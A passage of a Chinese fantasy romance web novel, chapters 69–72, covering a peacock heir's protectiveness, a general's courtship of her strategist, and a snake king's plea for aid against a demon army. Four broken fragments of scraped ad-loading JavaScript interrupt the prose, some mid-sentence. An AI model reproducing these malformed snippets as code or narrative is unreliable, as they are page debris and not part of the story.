见她皱眉,吕浮白干脆地转头,一挥手,一股巨力立刻将苍御峻连人带汤饭扯了出去,顺带反锁上了门。 “……我知道你不想应付他,就自作主张了。”迎着她惊呆的目光,他顿了顿,温声说道。 那道将苍御峻送走的术法十足霸道,他这解释又大度得没有棱角,前后看着很是割裂。花清浅不由想笑:“你这算什么自作主张,我本来也不想留他。” 她一面说,一面观察着他的神色,听到这句话后,他唇角不动声色偷偷上扬了一下。 果然,她就知道,他是故意出手的,而且半点也不后悔。 这位孔雀世子久居高位,就算再如何收敛,也不会温和得像是东方容楚,不容拒绝才是他骨子里的底色。 但花清浅并不介意他这点霸道,相反有些喜欢,因为这恰恰表明他在乎她。 五十年前她一味上赶着,凤凰神君却永远云淡风轻、永远公事公办,那种无力与不甘的滋味,她死也不想再尝一遍了。 所以,即使过了这么多年,即使无数人告诉她,傅玄其实是在乎她的,她也从没想过要回头。 与九天冷月般的神尊谈情,想想就累,花清浅已经没有那种精力了。倒不如眼前的吕浮白,年纪虽然也大,但若减去他沉睡的时间,好歹也算与她同辈,城府还没有那么深沉,爱一个人时喜怒形于色,让她分外有安全感。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你真是妄自菲薄了。”她这样想着,对他笑了一下,“我怎么会看不惯你,你只管做自己,我会越看越顺眼的。” 墙上窗扇半开,起于昆仑山巅的清风拂过她面颊,捎带起几缕青丝,她未来得及施脂粉,面容依旧明艳如桃花,红唇微弯,有种说不出的好看。 吕浮白微微垂眸,像是心里也被她发梢拂过,泛起涟漪阵阵,几乎忍不住想问她,她说的可是真的。 待见识了他的真面目,待知晓了他真实身份,她当真还会喜欢? 可他最终还是冷静下来,没有问出口:他知道,她的答案总会是否定的。 她喜欢的,只是吕浮白,甚至只是模仿着东方容楚言行的吕浮白。 但是没有关系。 没有关系,她喜欢这个样子的他,他就可以一辈子都以这副模样、这副身份陪在她身边,只要她还对他笑,他做什么都可以。 - 知道医楼内暗潮涌动,秋照当然不会蠢到主动踏入是非地,但花清浅身份特殊,在她昆仑地界受伤,又有小混沌戒要给,于情于理,她也该亲自探望探望。 于是,在医师来报说花清浅已醒的翌日,她毅然拉着周霖鹤一起向医楼飞去。 因为吕浮白在房间里,周霖鹤建议她不要走窗,从走廊敲门进去,秋照欣然听从,两人来到走廊,却发现花清浅房间门前已经有人了。 是西陆妖尊。 他靠在门口的墙边,眼神涣散,像是失掉了最后一丝气力,明显是被拒之门外,不得入内的样子。 犹豫片刻后,秋照还是走上前去,安抚他道:“这门紧闭着,说不定清浅姑娘正在休息,不方便待客,不若妖尊先回去歇着,什么时候她休息好了,我再叫你过来。” “吕浮白就在里面。”苍御峻咬着牙,眼眶通红,“你告诉本座,她怎么会正在休息?” 那自然是同吕世子一起休息,还用说吗。秋照险些脱口而出,但碍于苍御峻这次对昆仑退敌鼎力相助,她硬生生忍住,继续劝道:“说不定他们正在商量正事,真的不方便见客——” “门外是秋将军吗?”她话还没说完,就听里面传来花清浅清脆的声音,“快快请进!” 秋照一噎,没敢看西陆妖尊的表情,以战场上训练出来的速度打开门,先将周霖鹤推了进去,自己断后,又闪电般拉上门。 “秋将军,你可算来啦!”花清浅惊喜地跳下床,拉着秋照到桌前坐下,“这两日吕浮白管我管得可严,明明医师都说我没事了,他还是不许我吃荤腥!寻常将士在前线受一点点小伤,哪有这样矫情的,你快跟他说说。” 秋照看了眼吕浮白,笑道:“可你也不是寻常将士啊。” 这倒也是。花清浅沉默了,秋照抓住时机,取出一个小木盒递给了她。 “小混沌戒就在这里。”她说,“你们拿着吧,我已经请示过神君,他同意了。” 花清浅顿时提起一口气。 发现她紧张,秋照连忙补充道:“放心,我没有透露你的行踪,只说是吕世子来了,向我们借戒指,神君没有多问。” 69. 第69章 吕浮白作为孔雀世子,借个小混沌戒也说得过去,只要对好口供,傅玄不至于会起疑心。花清浅松了口气,感激道:“多谢将军了。” 她打开木盒,小混沌戒从盒中飘然飞出,落到她手心。戒指边缘柔滑,闪着蓝银色灵光,仿佛夏夜一点一点的星空,有几分神秘和深邃的气息。 之前她都是在书上和傅玄口中了解到的小混沌戒,这还是第一次看到戒指真身。她歪着头和秋照一起欣赏了片刻,转身把戒指交给了吕浮白。 “这戒指挺重要的,还是你拿着吧,万一有人来抢,你好歹能护住。”她说。 吕浮白从善如流,将戒指收入虚空。 秋照没有问他们要小混沌戒做什么,反正吕浮白不是胡闹的人,神君也已经同意,昆仑部只要等着他们到期还回来就行。 正事办完,她下意识看了周霖鹤一眼,花清浅注意到她的动作,视线从两人身上转了一圈,会心笑道:“对了,周先生与将军这般形影不离,可将军还没有跟我说过,当初是怎么把周军师拐回来的?” “我飞得快呀!”秋照骄矜地抬起下巴,“一听到消息,我马上就赶往白鹤族地了,是最早招揽他的那批鸟族之一。” 她背后青色的铠甲未收,语调笃定,身形飒爽,有种令人情不自禁向往追随的魄力,恰如记忆里清晰如昨的当年。 当年,周霖鹤智计迭出,声名鹊起,但也同时有流言传出,说他与外族勾结,言之凿凿,白鹤一族眼里最揉不得沙子,派出两位长老查他虚实。 没人知道具体发生了什么,只知道一夜之间,奉命查他的两位长老全都死于非命,虽然没有证据是周霖鹤干的,但族中已没人再敢信他。 他就这样被逐出了族。 秋照日夜兼程赶到的时候,发现前来招揽周霖鹤的人还不少,好在他还没有做出决定,现在几方还处于僵持阶段。 来抢军师的几家势力都不小,这家富有灵石矿藏,那家盛产美人舞姬,相比之下,昆仑山能给出的条件不算优越。 唯一能拿得出手的,就是秋照本人了。 她深吸一口气,振翅闯过重重包围的人海,来到他的面前,抓紧机会说道:“这么多家来抢你,但只有本将军亲自来了,诚意最大!先生若来昆仑,保证在本将军一人之下,万人之上。” 人群中央,一片如白鹤腹羽般纯然的团云飘在半空,周霖鹤羽扇纶巾,坐在云上,眼神不动:“鹤某不为求权。” 他的嗓音仿若玉石相碰,出奇地沉静好听,秋照屏住呼吸,意识到自己策略错误,很快补救道:“那先生为求什么,说来听听?” 周霖鹤没有答话,那团云有飘走的趋势,她以为他嫌她太笨了,这就要走,忙两步跨过去,伸开翅膀挡在他身前。 见她这样,后面的人群顿时不满起来:“哎,秋将军,我们大伙儿都在这呢,你可别仗着武力强抢!” “仁兄说得对!这又不是抢夫郎,秋将军不要把昆仑陋习带到外边,丢人显眼。” “秋照你再不给军师让开,老子轰你了啊!” 来的大多是军中人士,说着说着就骂将起来,秋照正要跟他们对骂,看云上白鹤眉头皱起,忽然心生一计,拉起他的袖子悄声道: “先生,你看这些人,军衔不高,还凶得不行,他们主将想必也很凶,跟你一言不合就要发火。” “你跟这些人走了,就是等着他们主将三天两头骂你。这些人性子粗鲁,都骂得贼难听,你不信自己听听……” “用兵之道,本就是大凶,各位将军凶些也无碍。”周霖鹤说。 秋照摇头晃脑道:“本将军就不凶。” 周霖鹤俊朗的眉峰扬起,像是无奈:“鹤某不才,可也是见过将军如何杀敌的。” 秋照茫然,片刻后才反应过来,改口道:“战场上的事,怎么能算凶!总的来说,本将军是最不凶、最文雅的了,还没我凶的将军就是软蛋,先生应该也看不上。” 比她厉害的,她说人家粗鲁,比她柔和的,她说人家软蛋,言下之意,就她是他唯一的选择了。 想起往事,周霖鹤认真地看着她,眸中带了一点不自知的柔软。 这点柔软被花清浅看在眼里,听完两人初遇的故事,她将手中温茶一饮而尽,对秋照说道:“将军之前问我的那件事,已经有答案了。” 不用她暗示,吕浮白便用制备点心的借口拉走了周霖鹤,两人从墙上窗口离开,秋照关上窗户,紧张地转过身。 “姑娘要与我说什么?”她嘴上这么问,其实已经有了预感:“是不是要开始帮我跟先生求偶了?” “不用我帮,那只白鹤军师也喜欢你。”花清浅言简意赅地道,“没有第二种可能,他要是不喜欢你,你尽管来抡大刀砸了我七寸。” 秋照半张着唇,傻了:“不可能吧?” “你不信我?” “我、我当然信你,只是……只是,他应该不喜欢我。”秋照挠了挠发丝,“你不知道,之前人魔压境,他还叫我跟附近的雷公族联姻来着,要是他喜欢我,怎么也说不出这种话吧?” 花清浅没吭声,在心里默默回想了一遍周霖鹤看秋照的眼神,确定她没有看错。 这就是爱一个人的眼神,不会有假。 “不对。”她沉思半晌,发现了问题,“两军交战,联姻结盟是下下之策,此举会暴露己方兵力虚弱,不到万不得已,不能动用。听吕浮白说,周军师还有眼线在人魔大军里,应该知晓此次危机并不严重,为什么会突然提议联姻呢?” 在她循循善诱的注视下,秋照逐渐领悟:“他是故意的?” 花清浅鼓励地挑眉,示意她继续说。 “他厌烦我了?” 花清浅愕然:“啊?” “之前我就怀疑过,我喜欢他喜欢得太明显,他已经察觉了。”青甲女将哀嚎一声,破罐子破摔趴在桌上,下巴抵着桌面:“完球了呀,他厌烦了我,想把我早日嫁出去!” 花清浅意识到,自己与这位女将军的想法是彻底南辕北辙了。她保持着耐心,继续引导:“可是你当初拒绝了联姻,对吧?” “是啊,我喜欢周先生嘛,当然不想抢其他人做郎君。” “那他当时的反应是怎么样的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” “不怎么样,周先生向来一板一眼,看不出什么反应。”秋照没精打采地道,“非要说有什么不同,就是他那日出窗的时候不小心撞到了头,应该是没看见窗帘。” 花清浅两手一拍,期待地看着她:“这不就是——?” “就是什么?” “高兴呀!他在高兴,高兴你不想联姻,高兴得连路都顾不上看啦!”花清浅没憋住叫道,恨不得上前摇晃她,“这不就是喜欢你,他提议联姻,就是在试探你啊!” 秋照费解地抬起眼:“他喜欢我,那他还用联姻试探我?万一我答应了呢?”当时她不知道人魔底细,真的差一点就答应联姻结盟了。 “有种笨人就是这样的,在得知心上人有可能喜欢他的时候,不去问她到底喜不喜欢他,而是要先试探,她是不是不喜欢他。” 秋照快被绕晕了,“那他试探完了吗?我现在要怎么办?” 初来昆仑,花清浅只见了周霖鹤寥寥几面,谈不上了解,也不敢猜测这位军师到底试探完了没有。 她将案头花瓶里的清水挑起来,用灵力托着水珠清洗花瓣,散漫地抚弄着,忽然有了一个主意。 “……如此这般,你就按我说的来。”她亮着一双水眸凑到秋照耳边,“任他城府再深厚,也要攻破他的防线,教他现出真心。” 承蒙她为自己这点私事如此挂心,秋照拿出战前动员的气势,雄赳赳地应了一声。 “不成功,便成仁!” - “清浅姑娘刚才把我调开,是有要事同将军说么?”回到军营,周霖鹤替秋照卸下背部盔甲,一面问道。 花清浅说得别无二致,他果然第一句话就是问这个。 秋照转了转眼珠,说道:“也没什么,是我一点私事,先生不必知道。” 闻言,周霖鹤短暂地愣了一瞬。 他眸子里情绪闪灭极快,不仔细观察根本不会发现。因而往常这一瞬的怔愣,秋照根本发现不了,可眼下她全神贯注地盯着他,轻易便发现了他极力掩饰的不安。 “——骗你的啦。”她根本看不得他伤心,装不下去一点,忙拍拍他的肩膀,动作比往常还要亲昵:“在我这里,没有什么事是不能跟先生说的,先生若不介意,我们边吃边说?” 周霖鹤心头一暖,随她坐了下来。 外边锅子热好,几名随从化做原形,叼着细绳将餐食带进屋内,先是甜草花汤,后是几样青华拌香干、清蒸苜蓿、酱炒排骨等菜式,冷热不一,素的离周霖鹤近些,荤的直接摆在秋照面前。 秋照吸溜着排骨肉,吞下一大口米饭,口齿不清地道:“我跟清浅提过联姻之事,她觉得很不错,说那雷公族首领长得挺俊,让我不要那么排斥。” 雷公族是昆仑近处的雉鸡一部,算是比较特殊的鸟族,其种族天生能引颈鸣雷,未飞升便可与天道相感,却也因此寿数极短,繁衍不盛。 昆仑鸟族强健长寿,两部若联姻成功,昆仑得以补足战力,雷公得以补足后嗣,乃是双全之法。 周霖鹤却顿时脸色剧变:“什么?你答应联姻了?!” 70. 第70章 秋照忙着捣出骨头里的鲜髓,没来得及答话。 “你居然真的要……”周霖鹤当她默认了,脱口而出道:“那你之前说不肯嫁人,说舍不得我,都是假的么?” 他语气隐忍,却似乎暗藏了千言万语,秋照与他朝夕相处多年,自然能听出他此刻心情极其沉郁。 但这沉郁到底有多严重,够不够叫他有胆以下犯上,她一时还不敢确定。 她舔舔手指上的酱汁,决定再拖一拖:“先生说笑了,我哪有说过这种话呀。” “是么?”周霖鹤放下筷子,轻声反问她,“你之前明明说舍不得我,舍不得昆仑,如今一听雷公族的男子长得好看,那些话就都不作数了,是么。” 听到这一句,秋照确定,他这是气急了。 她喜孜孜闭上眼,等着他怒极来强吻她,但等了好久也没动静,只好又睁开眼。 “你怎么回——”怎么回事,连强吻她都不敢,话说到一半,她却僵在了半空,因为她看见周霖鹤在哭。 从来冷静无匹,从来深藏不露,从来保持微笑的羽扇军师,低着头,紧紧抿着唇,在安静地,不发一言地,哭。 都是被她欺负的。 看着他眼泪一颗顺着一颗落到衣襟上,晶莹剔透的,她真的有些心疼,但也觉得漂亮,甚至还有些兴奋——停,不行,她不能这么混账。 得先把人哄好再说。 “先生,那个,你、你别着急啊。”她立刻放下排骨,擦干净手指,挪动座椅挤到他身侧,顺着他的背,放柔了声音哄他:“联姻之事不提了,你先别不高兴,叫我怪慌的。” “我没有不高兴。”周霖鹤咬住牙关,唇角抽动了一下,小声道,“我只是想不明白,你一会说要以昆仑为重,一会又要嫁去外族,到底要将昆仑主帅之位置于何地?” 秋照顺着给他拍背的姿势,下巴架在他肩膀上,两人快要镶嵌在一起,这已经远远超出了平日的亲密程度,周霖鹤身子一顿,却并没有推开她。 “主帅之位,你就只是想问我这个?” 周霖鹤静静地看着她:“不然呢,我还能问你什么。问你一会喜欢我,一会又不喜欢了,你的喜欢到底能维持多久么?” 见秋照惊讶地倒抽一口冷气,他苦笑了一声:“这种问题以下犯上,我当然是不会问的。” 她是主帅,是最后拍板决定一切的人,他的所有意见都可以不听,她要做什么,他没有任何办法。 ——但是掉两滴眼泪,先靠示弱将她稳住,总还是可以做到的。 “你知道我喜欢你?碎了个鸟蛋子的,你果然知道!”秋照没忍住蹦出一连串脏话,忙用手捂住嘴,冷静了片刻后继续道:“看你气得都哭了,应该也是喜欢我的吧?怎么不早点来跟我说啊?” 周霖鹤面皮有些发红,垂下眼帘:“时机不对,我怎么说。” 也对,当时人魔压境,他们都成天到晚地忙正事,确实没机会说别的。 借着联姻之事试探一二,已经是极限了。 秋照帮他抹着眼泪,又生了点坏心眼,牵着他手腕逗他:“哎,我说个玩笑话,都能把你气成这样,那当初你怎么敢主动提起联姻的,不怕我答应吗?” “大战之前联姻是下下之策,我知道你不会选。”周霖鹤叹了口气,“我只不过是……是想看看你对婚事有何打算罢了。” 得了她那句“舍不得他”,他便安下了心,却没有想到,人魔危机一过,她就给了他这么当头一棒。 “我对婚事能有什么打算,嘿嘿,都听先生的。”秋照继续给他顺毛: “其实我没有不喜欢你,也没有想嫁到外族去,什么雷公族,我理都不想理,就是想诈一诈你,你别当真啊。” 他看着她美滋滋靠着他夹菜,一副心事得逞的模样,忽然冷不丁问道:“你不是用计诈我的性子,此遭大约是清浅姑娘教你的吧?” “不、不是啊,是我自己想的,跟清浅一点关系都没有!” 秋照连连摇头,激烈否认,却见他的眸底始终一片了然,半点没有被她糊弄过去,声音慢慢弱了些:“是我主动找她帮忙的,你别报复她啊。” 果然是那个花清浅。周霖鹤揉了揉眉心,重新执起筷子:“我报复她做什么,如今你我把话说开,合该感激她才是。” 再者说来,那蛇妖是凤凰神君座下,他上哪报复去。 听他这么说,秋照才放下心来,一面拿排骨酱汁浇在细米上,一面专心地开始想,先生哭起来这么好看,以后要有法子叫他多哭一哭就好了。 - 医楼内。 秋照如临大敌的情事,在花清浅看来根本没有悬念,因此她并不紧张,只慢悠悠啃着吕浮白拿来的桃花饼,跟他商量起小混沌戒开戒的事宜。 她将惊鸿木显现的影像告诉了秋照,两人一致认为,此次人魔围困,为的就是要打开小混沌戒,放出定法天怨。 “这次人魔来势汹汹,撤退的时候又跑得飞快,连佯退反击都没有,不觉得奇怪吗?”她转着戒指分析道: “秋照猜测,这些人魔大概是从哪里得到了消息,知道我拿到戒指,也在想着如何开戒,左右都会把定法天怨放出来,所以才干脆撤了。” “啊?”玉京子傻乎乎地叫道,“我还以为是吕浮白的神光把他们吓跑了呢。” 花清浅有点骄傲:“那也没错,肯定有人魔单纯被吓破胆跑啦。听秋照说,当时吕浮白真有几分傅玄的风采,可惜我错过了,没那个眼福。” 听到最后那句,吕浮白看了她一眼,眸光微妙,像是被她说得不太好意思。 玉京子看不得他们眉来眼去,开口打断道:“那现在怎么办?开戒就会放出定法天怨,不开戒又救不出咱爹娘……” “开,都拿到了小混沌戒,为什么不开。”花清浅说,“当时赵音浓开启的异界不知在何处,只要我们抢先找到异界,就算定法天怨侥幸没死,也只有被我们围剿的份。” 玉京子对自己的实力很有自知之明:“那可是定法天怨,你说他被谁围剿?” 当年傅玄打定法天怨易如反掌,那是傅玄的事,如今己方就这么点人,确定不是人家一打三? “咱们这不是有个吕浮白吗?”花清浅很有信心,“不行了再把竹言叫来,对付一个陈年老魔头,应该够了。” “虽然不知小混沌戒开辟的异界是个什么情形,是有点麻烦——”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吕浮白应声开口:“异界之内,无始无尽,一切之景皆为心景,眼前随心绪而动。” 什么心不心,眼不眼的,玉京子完全没听懂。 “你说的是人话吗?”他还算端正的五官皱成一团,“异界到底是个什么东西,怎么跟心扯上关系了,是谁的心啊?” 花清浅看样子却是懂了:“是心境强大者的心。” 听吕浮白的意思,这小混沌戒的异界法则跟梦魇妖灵类似,梦境中,一切都由心境最强大者决定,异界之内也是如此。 如果定法天怨的心境够强,天水与香染早已是两个死人。 可他们没死,这就说明,两人在异界并没有落下风。 花清浅精神为之一振,更是意气风发:“定法天怨未必还有当年的能耐!多找几个人手,完全可以把他牢牢按死。” 不过,喊人的事稍后再说,眼下要务,乃是赶在人魔之前找到异界。 “咱们来昆仑取戒,半路惹了妖尊,动静太大,也难怪人魔顺势查到了我的底细。”花清浅痛定思痛,“这次找寻异界,可不能再走漏风声了,最好是整个障眼法,把他们视线引开。” 吕浮白颔首同意。 “且看这样行不行——”花清浅心中一个计划隐隐成形,刚要和盘托出,却听门口被人敲响,昆仑部侍卫恭敬的禀报声传来: “清浅姑娘,有人要见你。” “又是苍御峻?我不是说了,我不耐烦吃他做的点心,也不稀罕他的红绿宝石,该拿的我早就拿过,让他别再来做无用功了!” 侍卫停顿了一下,说道:“姑娘息怒,来人不是苍御峻。” “据他自报家门,好像是从蛇族来的蛇王。” - 此次人魔来袭,事后看来虎头蛇尾,事前看着阵仗却十分大。 秋照求援的信笺铺得天上地下都是,来援者却寥寥无几,甚至让人看了哭笑不得,蛇王单方寸就是后者。 他对昆仑响应倒是积极,不仅亲自前来,还带了大包小包的蛇谷瓜果,唯独最重要的兵力没带。 不仅如此,他还在上昆仑的第一日就直抒胸臆,表示愿意以身侍奉秋照,换两族永结同心,然后提出请求:如今到处都不太平,也有魔族冲他治下的蛇族去了,昆仑能不能行行好,分点兵力应亲家的急。 秋照:“……” 且不说单方寸蛇高马大,粗粗笨笨,半点不是她喜欢的料,就说出兵,她这边燃眉之急还没解,怎么可能倒帮蛇族? 就算单方寸舍下面子、天天把去蛇族新谷的路线挂在胸前,她也只能假笑敷衍,先把人稳住再说。 被稳了几日,单方寸也逐渐回过味来,准备启程去隔壁雷公族结亲,却不想忽然迎来一位故人。 他在一望无尽的高楼前徘徊等着,听到一边靠在门上的红衣妖尊沉沉发问:“你说,你以前是蛇谷的?” “是,是的。” “你认识清浅?” 单方寸乐呵呵地点头。 “——你是她什么人。” 图穷匕见。 单方寸不明所以地对上妖尊的视线,只觉那赭黄色瞳孔中满是妒忌,叫人不自觉脊背发凉。 71. 第71章 在单方寸开口以前,苍御峻一直觉得,他很了解花清浅。 她是一条漂亮的小花蛇,脾气娇贵,喜欢罕见的法器宝石,喜欢酸到发甜的荆棘果,喜欢顺滑的鸟族羽毛——可他一直都没想过,她为什么会喜欢这些。 “如果这个花清浅,是我认识的那个花清浅,那就说来话长了。”单方寸长吁短叹,“花清浅原是我族少君,生得柔弱娇气,其实骨子里是很硬的一条蛇……” 苍御峻一言不发地听着,像一尊静默的石塑。 他这才知道,花清浅出自凤凰神君座下,什么法器宝石没见过,根本不稀罕西陆的东西。 每每向他讨要,只是因为那些玩意方便携带,也方便卖个好价钱。 她最爱吃的果子是陨雾浆果,只是因为再也吃不到,才勉强换成了荆棘果。 就连她喜欢鸟族的羽毛,也只是因为凤凰神君傅玄,并不是因为他—— 所以那日初见,她看他看得呆了,其实是因为他穿着红衣,看上去有点像凤凰而已。 想明白了这一层后,他脑子里一阵阵发晕,愤怒和委屈一起在心头横冲乱撞,脸色僵硬得可怕,单方寸看见他的表情,后知后觉住了口,迟疑地问了句:“所以,妖尊您也是来见清浅的吗?” 自从昆仑退敌,花清浅便与他一刀两断,连句话都懒得说,任何一个有尊严的人,都不会再死缠烂打。 更何况事到如今,连她对他一见钟情都是假的,还有什么是真的? 以他统御西陆多年,说一不二的脾气,应该趁着随行人马众多,强闯进这座结界脆弱的高楼,杀了那只烦人孔雀,再将她掳回西陆。 哪里需要求她见他,哪里需要如此卑微地等,等一扇根本不会为他而开的门,跟犯贱有什么区别? 一瞬间,千百种想法从眼底划过,但苍御峻回过神来,还是答道:“是,我想见她。” 或许这算犯贱,可他就是想见她,发了疯一样地想。 他就是爱她爱到这种地步,哪怕人多势众,也舍不得撕破脸逼她。 有什么办法。 “哦,原来妖尊也认识她。”感觉到眼前妖尊气势收敛,单方寸放松了些,嘿嘿笑着问道:“那你怎么不进去?” 苍御峻喉咙动了动。 过了很久,他才垂着红透的眸子,干涩开口:“因为我从前对她不好,她不想见我。” ——无论起因如何,在西陆成亲后的三十年不是作假。 花清浅的那些过往,并非是她有意隐瞒,只要他想了解,她未必不会说给他听。 可他做了什么。 他没有想要了解她的过去,只觉得她做尊后做得好,甚至做得太好,还要给她添点堵。 就在此时,大门打开,侍卫从里面轻盈飞出,宣道:“清浅姑娘请蛇王进去。” 单方寸不知所措,下意识望向苍御峻,见他安静摆了摆手。 ——她不会见他,不会原谅他,他早该知道。 - “蛇王要见我?哪个蛇王?”提起蛇族,花清浅第一个想到的是那条丹家的畜生,但她很快就反应过来,侍卫说的应该是新任蛇王,巨蟒单方寸。 她望了玉京子一眼,应道:“行吧,让他进来。” 侍卫恭声出去,很快领人进来,听着脚步声由远及近,花清浅抬起眼。 饶是做足了准备,待看见形容窈窕侯在门厅前的那抹倩影,蛇王还是发出了一声惊呼。 “花少君!”他有些夸张地激动叫道,“我就知道你没死,凤凰神君肯定有法子复活你的,还附带了一个玉京子!” 这位巨蟒做了几十年的新晋蛇王,这副热情却仍叫人招架不住。花清浅依蛇谷旧礼朝他躬身,他连忙挥手,轻而易举将她扶起来:“咱们蛇族现在没有这些虚头巴脑的东西,不用行这么大的礼!” “多谢尊上。” “这么客气干什么,你叫我单方寸就行。”他呵呵笑道,并没有提门外的那位妖尊,一屁股坐在正厅的桌边,往嘴里灌起茶点: “说起来,咱们真是太久不见,连看到玉京子,我都没那么想扇他了。” 玉京子并不认识这个所谓的蛇王,听了这句话简直莫名其妙,差点拍案而起,被花清浅摁着脑袋摁回座位上。 “这位便是大明王世子?”他看着吕浮白问道,在花清浅为两人引见过后,捂着胸口叹道: “花少君,你真是跟以前一样出息,怎么结交的朋友都这么厉害!” 吕浮白此前一直容色淡淡,闻言不动声色抬了抬眸光:这单方寸不知是不是故意的,一张嘴就把他和清浅的关系定为朋友,听着甚为刺耳。 “你知不知道,其实以前很多小蛇不跟你玩,不是因为讨厌你,而是因为你认识的人都太强,大家都自惭形秽,不敢主动跟你交往……” 对于他的来意,花清浅已经猜出了几分,但她并不想接茬,转过话头问道:“听说蛇族搬出了蛇谷,与仙界断绝了关系,可是真的?” 单方寸脸上一红:“是真的。” 说起来,此事还与花清浅有关。 “那时你死讯传到,都说你是为了给神君挡箭而死的,大家心里都对神君有怨,我就带领蛇族顺势脱离了仙界。” 整个蛇族团结一致,给一个蛇民出气,这话本应满是豪情侠义,可单方寸的脸上却没有多少骄傲,细看还有一丝尴尬。 花清浅替他把尴尬的地方补全:“没想到,这些年天下大乱,魔族复起,少了仙界的庇护,蛇族过得步履维艰,大家都开始抱怨你,想回到仙界庇护之下。” “花少君还是这么聪明……咱们蛇族搬到了兰铁山,在凡间的墨州之北。群山之外还有许多凡人城镇,我本以为跟凡人处理好关系就够了,谁知道近来魔族猖狂,不光生吃凡人,连妖也杀死取丹来吃!” 单方寸越说越激动:“那小魔王还叫我给他定期供奉蛇妖,不然就要攻进兰铁山,可我就算再无能,也断不会牺牲无辜来自保!” 无奈蛇族与魔族实力太过悬殊,他只能先用和谈吊着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对方,自己金蝉脱壳跑出来求援。 “你这个蛇王做得不错,比丹虺那个畜生好。”单方寸不像说谎,花清浅姑且先信了,给他倒了杯茶,在玉京子边上坐下,说道: “我已脱离蛇族,不再是蛇谷少君,但你放心,蛇族是因为我才变迁下界,此次遭难,我会尽力而为,能帮就帮的。” 她居然把责任全揽到了自己身上! 其实当年凡间兴盛,妖族到凡间定居很是流行,蛇族搬到凡间也不全是为了她,是以尽管单方寸心急如焚,想让她帮忙,也没有直接把锅扣在她头上。 没想到,她竟是主动认了下来。 “我就知道,清浅你还是心向着蛇族的!”他感动得顾不上喝茶,一把抓住她的胳膊,“你怎么不是少君了,有我在,你永远是蛇族的少君——不,你比我有能耐多了,等一回去我就退位给你!” 群魔环伺之际,身为蛇王压力巨大,单方寸想要甩掉这个苦差事,倒也不必这么明显。 花清浅没有上当:“这个烂摊子我不会接的,你死心吧,等这次危机过后,我跟蛇族就再没有半点关系。” 见单方寸目光瞟向玉京子,她迅速补充:“他也是。” “……”单方寸粗壮的后背顿时塌了下去,过了好一会才重又开口,倒是没坚持要花清浅认祖归宗,而是说起了正事。 “来找事的那魔头名叫提灯,听说是百年内新生的小魔王,因为修得了上古邪魔缇阎的分身术,得到许多魔族攀附。”他呸了一口,“狂得不晓得姓什么了都。” 花清浅问:“他手下有多少人,修为怎样?新蛇谷防御做得如何,新一代有多少能上战场的?” 她问的全是重点,也全是单方寸不想面对的问题,他神情变得更蔫,但还是说出了实情。 ——就在昨日,兰铁山报来最新消息,小魔王陈兵五千,堵住了下山的所有羊肠小道; 更可怕的是,五千只是魔族大军前锋,根据躲进山里的凡人透露,那小魔王至少还有两万五的兵力,供他随时调动。 他手下一支五百魔族的末流小队,刚刚屠戮了一个数千人聚居、另有修士护卫的小镇,战斗力可想而知。 而另一边,蛇族可用的人手却是寥寥无几。 “清浅你知道的,从前蛇谷里分的派系就多,前蛇王一死,几位蛇君和长老更不服我,带了很多自家蛇出走了。”单方寸语气无奈。 再加上兰铁山内光景安逸,剩下的蛇族也大多成家,春夏之交,正是一批蛇蛋需要孵出来的时候……总之,种种原因之下,可堪一战的蛇族数目勉强过千。 听见这个数字,花清浅心中一凛:“所以这一千条蛇,要对上五千的魔族精锐,还要防着两万五的敌方援军?” 单方寸难为情地点点头。 “……你刚才说,正在孵化的蛇蛋有多少窝?” “七、七百窝。” “这还打个鬼!”花清浅霍地站起身:“你回去吧,我后悔了,这谁能有招,我反正是打不过。” 72. 第72章 见花清浅也打了退堂鼓,单方寸哀嚎出声:“清浅,你是我最后的希望了!蛇族下过仙界的面子,满天神佛没几个肯帮我,现在外族也没几个看得上我的,我是真没办法了!” “……如今蛇族全族上下,除了瓜果和幼崽一无所有,我要是外族,我也看不上那点东西,能帮忙就怪了。”花清浅头疼地揉了揉眉心,“你先回去吧。” 单方寸很想赖在椅子上不走,但碍于旁边孔雀世子那威慑性的存在,他不得不站起身,实在不甘心,又拿出兰铁山周边舆图放在桌上。 “清浅,我来得急,没拿咱们当地的水果,你等一等,我回去就让人给你送过来。”他慢吞吞往外走,一步三回头,碎碎念道,“我最晚还能在昆仑留两天,你要是改主意了,随时叫我啊!” 花清浅抚着眉心,朝他点点头。 “这蛇王看起来好傻。”等他走远以后,玉京子从楼上嫌弃地望着他的背影,“而且他刚才一直在看你,清浅,他对你图谋不轨!” 花清浅瞪他一眼:“他有求于我,看我不很正常?”吕浮白还在这呢,他说话怎么还是这么不过脑子。 玉京子乖乖被她瞪,等她瞪完了又问:“那你准备帮他这个忙吗?” “不帮,想都别想。” 一千蛇族懒兵,对上两万多的魔族大军,这根本不叫以卵击石,这叫自寻死路。 更别提还有七百窝蛇蛋,花清浅一想起来就头皮发麻:她深知本族蛇的习性,这些蛇蛋未必是父母俱全的,并不会激起一千蛇族的血性,反倒会给义务孵卵的雌蛇增加压力。 没有优势,全是弱点,这不是纯属给魔族送餐? “可你不是有吕浮白——” “退一万步说,我带着吕浮白去到兰铁山,是,他一人能挡几千魔族,然后呢?” 吕浮白动了动唇,像是要说什么,花清浅伸出一只手,搭在他手背上,叫他先听她说,神态是罕见的强硬: “他只有一个人,又不会提灯的分身术,总共能护住多少条蛇?就算他累到半死,把蛇族救出大半,但那些死了的蛇,也会被埋怨到他的头上。” 玉京子俊俏的脸纠结成一团,小声说:“不会吧,咱们蛇族这么不讲道理的?” “不止咱们蛇族。”花清浅叹了口气,将桌上的舆图收到乾坤袋里,“将心比心,如果你我同时危在旦夕,吕浮白救了你,却没有救我,你会不会怨他?” “当然会!他为什么不救你,他有病啊!” 花清浅偏着脑袋,挑了挑眉。 “……”玉京子反应过来,彻底不说话了。 此时窗边传来一声轻响,花清浅循声望去,只见一只柳枝做的鸟儿正叩着窗棱,两个绿眼睛看着是用叶子团成的,还挺可爱,但就是不知道这是什么,一时不敢放它进来。 